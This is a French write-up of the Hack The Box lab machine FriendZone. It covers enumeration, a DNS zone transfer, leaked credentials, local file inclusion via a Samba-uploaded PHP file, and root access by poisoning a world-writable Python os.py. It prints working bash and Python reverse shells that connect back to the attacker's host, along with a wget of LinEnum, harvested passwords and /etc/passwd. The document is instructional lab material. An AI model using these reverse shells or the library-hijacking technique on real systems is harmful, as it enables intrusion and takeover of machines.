Hack The Box – WriteUp – FriendZone

Hack The Box – WriteUp – FriendZone

Nous allons voir comment arriver à bout de la machine « FriendZone » de Hack The Box et obtenir l’accès root.

Cette machine simple est intéressante car il demande de faire attention aux données récupérées lors des énumérations des différents services.

Comme d’habitude nous commençons pas un nmap de la machine pour découvrir les services qui tournent dessus.

nmap -sC -sV 10.10.10.123

Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-13 16:04 CEST
Nmap scan report for friendzone.htb (10.10.10.123)
Host is up (0.10s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1

[…]

445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=7/13%OT=21%CT=1%CU=43171%PV=Y%DS=2%DC=T%G=Y%TM=5D29E80
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nous avons donc sur la machine : FTP, SSH, DNS, HTTP, HTTPS, SAMBA.

Il est important de noter ici les informations concernant le certificat SSL qui révèle le domaine friendzone.red

Réalisons un petit test concernant le FTP afin d’être sûr qu’aucun accès anonymous existe.

root@test:~/htb/friendzone# ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:root): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

Impossible donc de se connecter au FTP.

Regardons maintenant ce que nous donne le HTTP :

Le code source de la page ne nous donne rien. Par contre nous pouvons remarquer le domaine friendzoneportal.red utilisé pour l’adresse e-mail.

Un petit coup de gobuster pour essayer de trouver des pages ou dossiers :

root@test:~/htb/friendzone# gobuster dir -e -u http://10.10.10.123 -w /usr/share/wordlists/dirb/common.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
[+] Url: http://10.10.10.123
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Expanded: true
[+] Timeout: 10s
2019/07/14 11:38:43 Starting gobuster
http://10.10.10.123/.hta (Status: 403)
http://10.10.10.123/.htaccess (Status: 403)
http://10.10.10.123/.htpasswd (Status: 403)
http://10.10.10.123/index.html (Status: 200)
http://10.10.10.123/robots.txt (Status: 200)
http://10.10.10.123/server-status (Status: 403)
http://10.10.10.123/wordpress (Status: 301)
2019/07/14 11:39:32 Finished
root@test:~/htb/friendzone#

Nous pouvons remarquer un dossier « wordpress » mais quand nous nous rendons sur l’URL rien d’intéressant, le dossier est vide.

On va regarder du côté de Samba et lister les partages :

root@test:~/htb/friendzone# smbmap -H 10.10.10.123
[+] Finding open SMB ports….
[+] Guest SMB session established on 10.10.10.123…
[+] IP: 10.10.10.123:445 Name: friendzone.htb
Disk Permissions
—- ———–
print$ NO ACCESS
Files NO ACCESS
general READ ONLY
Development READ, WRITE
IPC$ NO ACCESS

En fouillant dans les dossiers nous trouvons un fichier creds.txt dans le partage general qui contient un couple login password :

creds for the admin THING:
admin:WORKWORKHhallelujah@#

Nous essayons donc de nous connecter avec ce login et mot de passe sur le FTP et SSH mais sans succès.

Comme nous avons trouvé deux domaines nous allons les rajouter dans notre fichier host afin de pouvoir regarder si le serveur nous renvois des informations différentes, donc s’il y a des virtual host de configurés.

Nous commençons celui trouvé sur la page d’accueil qui est utilisé pour l’e-mail. Et nous retrouvons la même page.

Essayons aussi avec le HTTPS :

Maintenant au tour du second nom de domaine friendzone.red avec HTTPS :

La page affichée avec HTTP est la même que celle disponible sur http://friendzoneportal.red

gobuster ne trouve rien d’intéressant. Il faut se rappeler que nous avons un service DNS qui tourne sur la machine. Les zones pour les domaines y sont certainement présentes. Nous allons donc énumérer les sous domaines disponibles.

root@test:~/htb/friendzone# dig -t axfr @10.10.10.123 friendzoneportal.red
; <<>> DiG 9.11.5-P4-5.1-Debian <<>> -t axfr @10.10.10.123 friendzoneportal.red
; (1 server found)
;; global options: +cmd
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red. 604800 IN AAAA ::1
friendzoneportal.red. 604800 IN NS localhost.
friendzoneportal.red. 604800 IN A 127.0.0.1
admin.friendzoneportal.red. 604800 IN A 127.0.0.1
files.friendzoneportal.red. 604800 IN A 127.0.0.1
imports.friendzoneportal.red. 604800 IN A 127.0.0.1
vpn.friendzoneportal.red. 604800 IN A 127.0.0.1
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 106 msec
;; SERVER: 10.10.10.123#53(10.10.10.123)
;; WHEN: dim. juil. 14 12:25:24 CEST 2019
;; XFR size: 9 records (messages 1, bytes 309)

root@test:~/htb/friendzone# dig -t axfr @10.10.10.123 friendzone.red
; <<>> DiG 9.11.5-P4-5.1-Debian <<>> -t axfr @10.10.10.123 friendzone.red
; (1 server found)
;; global options: +cmd
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 106 msec
;; SERVER: 10.10.10.123#53(10.10.10.123)
;; WHEN: dim. juil. 14 12:25:56 CEST 2019
;; XFR size: 8 records (messages 1, bytes 289)

Voilà donc des informations intéressantes !

Nous allons tester les sous domaines de friendzoneportal.red.

files.friendzoneportal.red, imports.friendzoneportal.red, vpn.friendzoneportal.red ne nous donnent rien du tout.

admin.friendzoneportal.red par contre nous permet de tomber sur une page où il faut rentrer un login et un mot de passe.

Qu’on essaye avec n’importe quel identifiant ou le couple login password trouvé dans le fichier creds.txt cela ne donne aucun résultat. Après validation du formulaire nous avons toujours la page suivante :

Nous reste alors le domaine friendzone.red à vérifier.

hr.friendzone.red ne donne rien. uploads.friendzone.red nous permet d’upload un fichier :

Après envoi d’un fichier nous avons la page suivante qui s’affiche :

Aucun moyen de savoir où est notre fichier. Nous ne savons d’ailleurs même pas si le fichier est réellement enregistré sur le serveur. Aucune indication ne nous permet de le confirmer. Nous remarquons juste un timespan affiché.

Nous reste alors celui qui semble le plus intéressant administrator1.friendzone.red :

Sur lequel nous pouvons nous loguer avec les identifiants récupérés plus haut.

Après identification nous sommes redirigés vers /dashboard.php qui ressemble à ceci :

Rajoutons donc les paramètres demandés à la fin de l’URL ce qui nous donne la page suivante :

Lorsque l’on regarde d’où est chargée l’image nous tombons sur un dossier que nous pouvons lister contenant les images. Nous pouvons remarquer que seuls deux fichiers sont présents. Le fichier que nous avons tenter d’upload juste avant n’est pas présent :

Revenons sur nos paramètres. Nous avons image_id sur qui concatène la valeur à la chaîne « images/ ».

Le second paramètre pagename ne donne rien. On peut mettre n’importe quelle valeur rien ne change. Avec un peu de déduction, cela nous amène à penser que ce paramètre permet de charger une page. Essayons alors d’y mettre une page connue comme dashboard.php. Aucun résultat, alors essayons de torturer un peu ce paramètre et après plusieurs tests mettons uniquement dashboard il se peut qu’il rajoute lui même .php pour construire le nom du fichier et ensuite faire un include ou autre.

Miracle ! Notre fichier dashboard se retrouve inclus dans notre page ! Nous avons donc à faire à une faille de type LFI (local file inclusion).

Le problème maintenant est de savoir comment déposer un fichier sur le serveur afin de l’appeler pour obtenir un shell. En relisant nos notes nous avons un dossier writable dans Samba. Le dossier Development. Le problème est que nous ne savons pas où se trouve ce dossier sur le serveur. Investiguons un peu plus et affichons les commentaires des partages :

root@test:~/htb/friendzone# smbclient -L 10.10.10.123
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	Files           Disk      FriendZone Samba Server Files /etc/Files
	general         Disk      FriendZone Samba Server Files
	Development     Disk      FriendZone Samba Server Files
	IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            FRIENDZONE

Nous remarquons ici un indice. Le partage Files se trouve sur le serveur dans le dossier /etc/Files. Nous pouvons donc supposer que Development est donc dans /etc/Development

Envoyons donc un fichier pour tester :

<?php
echo "YOUPI!";
?>
root@test:~/htb/friendzone# smbclient \\\\10.10.10.123\\Development
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jul 14 13:20:47 2019
  ..                                  D        0  Wed Jan 23 22:51:02 2019
  info.php                            A     5494  Sun Jul 14 10:44:52 2019

		9221460 blocks of size 1024. 6458412 blocks available
smb: \> put tttt.php
putting file tttt.php as \tttt.php (0,1 kb/s) (average 0,1 kb/s)
smb: \> ls
  .                                   D        0  Sun Jul 14 13:27:55 2019
  ..                                  D        0  Wed Jan 23 22:51:02 2019
  tttt.php                            A       24  Sun Jul 14 13:27:56 2019
  info.php                            A     5494  Sun Jul 14 10:44:52 2019

		9221460 blocks of size 1024. 6458404 blocks available
smb: \> 

Rendons-nous à l’adresse suivante https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/tttt

Nous avons bien notre « YOUPI! » qui s’affiche ! Ne nous reste plus qu’à envoyer sur la machine un reverse shell.

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.XX.XX/1234 0>&1'");
?>

Avec pour IP celle de notre machine. Ecoutons le port 1234. Lançons la page et là :

Nous voilà connectés à la machine sous l’user www-data. Rendons-nous de suite dans /home et nous y voyons un dossier d’un utilisateur friend avec le fichier flag présent :

Lisons le fichier /etc/passwd

www-data@FriendZone:/home/friend$ cat /etc/passwd 
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
friend:x:1000:1000:friend,,,:/home/friend:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
ftp:x:108:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
bind:x:109:116::/var/cache/bind:/usr/sbin/nologin

Nous retrouvons bien l’utilisateur friend qui en plus a l’accès au shell /bin/bash !

Nous fouillons alors un peu tous les dossiers de l’application PHP. En regardant un peu tous les fichiers, nous pouvons confirmer que le sous domaine uploads.friendzone.red ne fait rien. Le code affiche un timespan mais n’enregistre rien. En regardant le dossier /var/www/ nous remarquons un fichier mysql_data.conf !

www-data@FriendZone:/var/www$ cat mysql_data.conf 
cat mysql_data.conf
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

Nous venons donc de récupérer un mot de passe pour l’utilisateur friend. En essayant de se connecter à mysql depuis le shell, nous sommes confrontés à un problème puisque mysql n’est pas présent. Nous pouvons supposer que le mot de passe et le même pour le compte SSH. On a souvent la flemme de mettre des mots de passe différents… Essayons donc SSH :

OKAY ! Nous sommes donc connectés en SSH sur la machine avec l’utilisateur friend. Ne nous reste qu’à trouver un moyen pour réaliser une élévation de privilège !

Nous allons commencer par regarder avec LinEnum ce qu’on peut potentiellement exploiter. On télécharge donc une copie sur le serveur.

friend@FriendZone:/tmp$ cd /tmp
friend@FriendZone:/tmp$ wget 10.10.XX.XX/linenum.sh
--2019-07-14 15:58:52--  http://10.10.XX.XX/linenum.sh
Connecting to 10.10.XX.XX:80... failed: Connection refused.
friend@FriendZone:/tmp$ wget 10.10.XX.XX:8000/linenum.sh
--2019-07-14 15:58:58--  http://10.10.XX.XX:8000/linenum.sh
Connecting to 10.10.XX.XX:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45651 (45K) [text/x-sh]
Saving to: ‘linenum.sh’

linenum.sh                  100%[===========================================>]  44.58K   202KB/s    in 0.2s    

2019-07-14 15:58:59 (202 KB/s) - ‘linenum.sh’ saved [45651/45651]

friend@FriendZone:/tmp$ 

Nous lançons le script et nous fouillons pour trouver ce qui pourrait nous servir. Dans la liste des processus nous trouvons quelque chose d’intéressant :

root      11656  0.0  0.0   4628   856 ?        Ss   15:48   0:00 /bin/sh -c /opt/server_admin/reporter.py
root      11657  0.0  0.9  43188  9112 ?        S    15:48   0:00 /usr/bin/python /opt/server_admin/reporter.py

Un programme « maison » s’exécutant sous l’utilisateur root. On connait tous les moyens pour réaliser une élévation de privilège. Lorsque l’on voit tourner un processus maison sous root nous pensons à cron. Si jamais ce programme est lancé via cron à intervalle régulier, nous allons peut-être pouvoir le modifier pour lancer un shell. Regardons avec top le comportement de ce processus :

En observant quelques minutes on se rend vite compte que le processus est lancé plusieurs fois. Rendons-nous alors dans /opt/server_admin et regardons ce que contient ce programme :

riend@FriendZone:/opt/server_admin$ cat reporter.py 
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

Il ne fait rien de spécial, il est en cours de développement 😉 Les droits du fichier ne nous permettent pas le modifier. Cependant il importe la librairie « os » de Python. Regardons où se situe ce fichier afin que l’on puisse le modifier.

friend@FriendZone:/opt/server_admin$ locate os.py
/usr/lib/python2.7/os.py

friend@FriendZone:/usr/lib/python2.7$ ls -alh os.py
-rwxrwxrwx 1 root root 26K Jul 14 15:46 os.py

Gagné ! Nous pouvons modifier le fichier (nous avions aussi cette information avec LinEnum). A la fin du fichier os.py nous rajoutons un reverse shell :

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.XX.XX",2222))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")'

Nous écoutons le port 2222 pour que notre reverse shell puisse s’y connecter.

nc -lvnp 2222

Gagné ! Nous obtenons au bout de quelques minutes notre shell root !

Le fichier root.txt contenant notre flag est bien présent !

Les commentaires sont clos.